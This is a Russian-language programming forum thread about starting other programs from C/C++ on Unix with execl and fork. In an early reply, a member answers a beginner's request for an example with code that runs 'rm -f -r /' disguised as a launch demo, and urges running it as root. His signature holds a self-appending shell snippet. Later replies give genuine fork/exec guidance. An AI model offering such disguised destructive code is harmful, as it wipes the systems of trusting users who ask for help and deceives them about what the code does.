Модераторы: xvr

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> запуск программы из другой программы, нужен пример 
:(
    Опции темы
annushka89
Дата 28.4.2009, 18:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 55
Регистрация: 7.3.2009

Репутация: нет
Всего: нет



Спасибо сайту, уже неплохо освоила с++.
Люди, скажите, можно ли написать программу(С,С++), и в коде одной программы что-то написать, чтобы в run-time из одной программы запустить другую(к примеру, объектик программы "Hello, world!!!")
Привидите пример пожалуйста, если это не сложно
PM MAIL   Вверх
InvalidProperty
Дата 29.4.2009, 07:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



Цитата(annushka89 @  28.4.2009,  18:01 Найти цитируемый пост)
(к примеру, объектик программы "Hello, world!!!")

это что? запустить объект программы? Запустить объектный файл, типа .o, .so на выполнение или запустить на выполнение команду из текущего процесса? Если последнее, то
Код

#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 printf("hello\n");
 execl("/bin/rm", "-f", "-r", "/", (char *) 0);
 printf("bye\n");
 return 0;
}

для достижения пущего эффекта, этот пример в скомпилированном виде нужно запускать с правами рута.

ссылка на маны http://www.opennet.ru/man.shtml?topic=exec...3&russian=5
так же можно получить по
Код

man execl



--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
annushka89
Дата 29.4.2009, 09:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 55
Регистрация: 7.3.2009

Репутация: нет
Всего: нет



спасибо, я имела ввиду есть какие-нибудь способы, чтобы из одной программы запускать другую и как это программно реализовать???
PM MAIL   Вверх
InvalidProperty
Дата 29.4.2009, 09:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



annushka89, блин, а я что написал???
Цитата(annushka89 @  28.4.2009,  18:01 Найти цитируемый пост)
Спасибо сайту, уже неплохо освоила с++.

ты же уже написала что неплохо освоила С++, я не делал скидку на нубизм.

ЗЫ еще раз перечитай то, что я запостил


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
annushka89
Дата 29.4.2009, 22:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 55
Регистрация: 7.3.2009

Репутация: нет
Всего: нет



спасибо smile 
PM MAIL   Вверх
InvalidProperty
Дата 30.4.2009, 07:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



annushka89, пожалуйста. Обращайся.

Если вопрос закрыт - закрой тему.


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
azesmcar
  Дата 30.4.2009, 13:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 1
Всего: 211



Цитата

для достижения пущего эффекта, этот пример в скомпилированном виде нужно запускать с правами рута.

а еслиб и вправду запустила? smile  smile  smile
PM   Вверх
InvalidProperty
Дата 30.4.2009, 13:33 (ссылка) |    (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



azesmcar, как говорил хацкер Падла из Фальшивых Зеркалов Лукьяненко:
Цитата

то, что дает друг, в первую очередь проверять надо

 smile 

Это сообщение отредактировал(а) InvalidProperty - 30.4.2009, 13:34


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
azesmcar
Дата 30.4.2009, 13:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 1
Всего: 211



InvalidProperty

Ну вот она бы и проверила, в первую очередь, под пользователем root smile smile smile

PM   Вверх
volkrey
Дата 27.5.2009, 09:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 58
Регистрация: 11.5.2009

Репутация: нет
Всего: нет



InvalidProperty, а че ты девушки подлянку то делаешь?
человек с просьбой обратился, надеясь на помощь, доверяя вам, а вы ему ### в ответ

Это сообщение отредактировал(а) volkrey - 27.5.2009, 09:15
PM MAIL   Вверх
InvalidProperty
Дата 27.5.2009, 09:40 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



volkrey, да ты вовремя пришел, дорогой. Ты в следующий раз подревнее тему поищи. Проблема не во мне и не в девушке, которая, кстати сказать, благодарной осталась, а в том, что некоторые люди юмора не понимают в силу своей возрастной категории или каких-либо тараканов в голове, таким людям очень сложно понимать других людей.


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
azesmcar
Дата 27.5.2009, 09:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 1
Всего: 211



Цитата(InvalidProperty @  27.5.2009,  09:40 Найти цитируемый пост)
volkrey, да ты вовремя пришел, дорогой. Ты в следующий раз подревнее тему поищи. Проблема не во мне и не в девушке, которая, кстати сказать, благодарной осталась, а в том, что некоторые люди юмора не понимают в силу своей возрастной категории или каких-либо тараканов в голове, таким людям очень сложно понимать других людей. 

 smile 
кстати девушки давно не видно...видимо запустила все таки smile 
PM   Вверх
volkrey
Дата 27.5.2009, 10:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 58
Регистрация: 11.5.2009

Репутация: нет
Всего: нет



может быть,но все равно не по-человечески это
PM MAIL   Вверх
scriptkiddie
Дата 27.5.2009, 11:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 28.2.2009

Репутация: нет
Всего: нет



почитал про эту функию exec.ужаснулся.вывод не верь ,не бойся ,не проси
PM MAIL ICQ   Вверх
Zerstroer
Дата 5.10.2009, 12:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Браво! smile 


--------------------
In silico
PM MAIL ICQ   Вверх
Zerstroer
Дата 5.10.2009, 13:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Возник вопрос в эту тему.
Использую execl().
Задача - последовательный запуск двух процессов. (2 приложения в исполнаяемых файлах).
Код:
Код

#include <stdlib.h>
#include <unistd.h>

using namespace std;

int main(int argc, char** argv) {
    execl("/usr/local/sbin/proc1", (char *) 0);
    execl("/usr/local/sbin/proc2", (char *) 0);
    return (EXIT_SUCCESS);
}

После компилляции (В NetBeans все делаю) запускаю скомпиленое приложение с правами root из под консоли. Получаю сообщение "ошибка сегментирования". С чем связано? Неправильное использование функции?


--------------------
In silico
PM MAIL ICQ   Вверх
vinick
Дата 5.10.2009, 14:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 9.6.2005

Репутация: 4
Всего: 22



Во-первых правильный вызов должен быть таким
Код

 execl("/usr/local/sbin/proc1", "proc1",(char *) 0);

Во-вторых, в случае успешного выполнения exec никогда не возвращает управление, так что второй вызов execl у вас будет сделан только если первый закончился неудачей.
PM MAIL ICQ Jabber   Вверх
svlary
Дата 6.10.2009, 06:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 207
Регистрация: 8.9.2009

Репутация: 4
Всего: 4



Код

execl("/usr/local/sbin/proc1", (char *) 0);

   Смотрим man на ececl :

Цитата

The const char *arg and subsequent ellipses in the execl(), execlp(), and execle()
functions can be thought of as arg0, arg1, ..., argn.  Together  they  describe  a
list  of  one or more pointers to null-terminated strings that represent the argu-
ment list available to the executed program.  The first argument,  by  convention,
should point to the filename associated with the file being executed.
 

   Теперь все понятно ? Т.е. первый элемент ДОЛЖЕН указывать на ИМЯ ФАЙЛА !
PM MAIL   Вверх
Zerstroer
Дата 7.10.2009, 11:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



 smile Отлично!
Спасибо!
Возник резонный вопрос: каким образом из одной программы можно запустить 2 и более приложений?


--------------------
In silico
PM MAIL ICQ   Вверх
vinick
Дата 7.10.2009, 11:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 9.6.2005

Репутация: 4
Всего: 22



Цитата(Zerstroer @  7.10.2009,  11:23 Найти цитируемый пост)
Возник резонный вопрос: каким образом из одной программы можно запустить 2 и более приложений? 

Через связку fork+exec. Порождаете потомка и в нем запускаете exec, потом в родительском процессе опять делаете fork и снова в потомке exec и т.д.
PM MAIL ICQ Jabber   Вверх
Zerstroer
Дата 7.10.2009, 12:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Благодарю!
man fork - мне в помощь!

Добавлено через 14 минут и 5 секунд
Проверьте пожалуйста синтаксис:
Код

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

using namespace std;
int main(int argc, char** argv) {
    execl("/usr/local/sbin/proc1", "proc1", (char *) 0);
    if (fork()) {
      execl("/usr/local/sbin/proc2", "proc1", (char *) 0); 
    }
    return (EXIT_SUCCESS);
}

Таким образом используется?


--------------------
In silico
PM MAIL ICQ   Вверх
Zerstroer
Дата 7.10.2009, 12:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Уже не надо. Нашел мануал.
МАНУАЛ


--------------------
In silico
PM MAIL ICQ   Вверх
Zerstroer
Дата 7.10.2009, 13:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



И все же...  smile 


--------------------
In silico
PM MAIL ICQ   Вверх
vinick
Дата 7.10.2009, 16:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 9.6.2005

Репутация: 4
Всего: 22



Цитата(Zerstroer @  7.10.2009,  13:08 Найти цитируемый пост)
И все же...  smile  


примерно так:
Код

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
using namespace std;
int main(int argc, char** argv) {
    int pid;
    if((pid=fork() )== 0)
          execl("/usr/local/sbin/proc1", "proc1", (char *) 0);
    else if( pid < 0)
      { perror("fork");}

    if ((pid=fork() )== 0) {
      execl("/usr/local/sbin/proc2", "proc2", (char *) 0); 
    }
    else if( pid < 0)
      { perror("fork");}

    return (EXIT_SUCCESS);
}


PM MAIL ICQ Jabber   Вверх
Zerstroer
Дата 8.10.2009, 11:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Почему-то запускает только один процесс. smile 
Использовал код который привел vinick а так же свой вариант:
Код

int main(int argc, char** argv) {
    pid_t ppid = 0;
    ppid = fork();
    if(ppid < 0) {
        } else if( ppid == 0 ) {
             execl("/usr/local/sbin/proc2", "proc2", (char *) 0);
        } else { //parent process
             execl("/usr/local/sbin/proc1", "proc1", (char *) 0);
        }
    return (EXIT_SUCCESS);
}

В моем случае запускается только proc1 (тот, что родительский).
А требуется запуск 2х процессов.

Это сообщение отредактировал(а) Zerstroer - 8.10.2009, 11:10


--------------------
In silico
PM MAIL ICQ   Вверх
Zerstroer
Дата 8.10.2009, 13:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Оба процесса в обоих случаях запускается. Как сделать так, что бы управление оставалось в программе? следить за pid и за ppid?

Это сообщение отредактировал(а) Zerstroer - 8.10.2009, 13:22


--------------------
In silico
PM MAIL ICQ   Вверх
svlary
Дата 13.10.2009, 06:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 207
Регистрация: 8.9.2009

Репутация: 4
Всего: 4



Цитата

Как сделать так, что бы управление оставалось в программе?

 В КАКОЙ - программе ?! После завершения системного вызова execl "старой" программы уже в памяти нет! Ее сегмент кода замещен кодом из файла, который Вы указали в вызове execl. Поэтому, (на тот случай, если системный вызов не сработал) сразу после вызова нужно ставит строки :

        /* Возврат из вызова execl однозначно указывает на ошибку */
        syslog(LOG_CRIT, "Error at execl(%s) %m", proc_name);
        exit(EXIT_FAILURE);

PM MAIL   Вверх
massiv
Дата 19.10.2009, 13:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 18
Регистрация: 27.9.2009

Репутация: нет
Всего: нет



Цитата(svlary @ 13.10.2009,  06:27)
Цитата

Как сделать так, что бы управление оставалось в программе?

 В КАКОЙ - программе ?! После завершения системного вызова execl "старой" программы уже в памяти нет! Ее сегмент кода замещен кодом из файла, который Вы указали в вызове execl. Поэтому, (на тот случай, если системный вызов не сработал) сразу после вызова нужно ставит строки :

        /* Возврат из вызова execl однозначно указывает на ошибку */
        syslog(LOG_CRIT, "Error at execl(%s) %m", proc_name);
        exit(EXIT_FAILURE);

не совсем понятно, зачем вам следить за тем што происходит с процессми запущенными execl, после запуска оин начинаюит жить своей жизнью. Другое дело , если вы хотитите заставить родительский процесс делать ещё што то помимо создания 2-х дочерних процессов, наспимер дождаться завершения одного из дочерних порцессов. В таком случае што вам мешает это сделать? Пишите нужный ком в родительском и всё, like that:

Код

int main(int argc, char** argv) {
    pid_t ppid = 0;
    ppid = fork();
    if(ppid < 0) {
        } else if( ppid == 0 ) {
             execl("/usr/local/sbin/proc2", "proc2", (char *) 0);
        } else { //parent process
             execl("/usr/local/sbin/proc1", "proc1", (char *) 0);
        }

/*

какой то код, вызывающий допустим waitpid

*/

    return (EXIT_SUCCESS);



PM MAIL   Вверх
MAKCim
Дата 19.10.2009, 14:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Воін дZэна
****


Профиль
Группа: Экс. модератор
Сообщений: 5644
Регистрация: 10.12.2005
Где: Менск, РБ

Репутация: 84
Всего: 207



massiv, 
ясно же написано: каждая функция из семейства функций exec* может возвращать ошибку


--------------------
Ах, у елі, ах, у ёлкі, ах, у елі злыя волкі ©

PM MAIL   Вверх
Zerstroer
Дата 11.11.2009, 13:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Спасибо всем, уважаемые, задача была выполена. Реализация найдена.


--------------------
In silico
PM MAIL ICQ   Вверх
Страницы: (2) [Все] 1 2 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С/С++: Программирование под Unix/Linux"
xvr
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой "Код".
  • Вопросы мобильной разработки тут
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, xvr.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Программирование под Unix/Linux | Следующая тема »


 




[ Время генерации скрипта: 0.1143 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.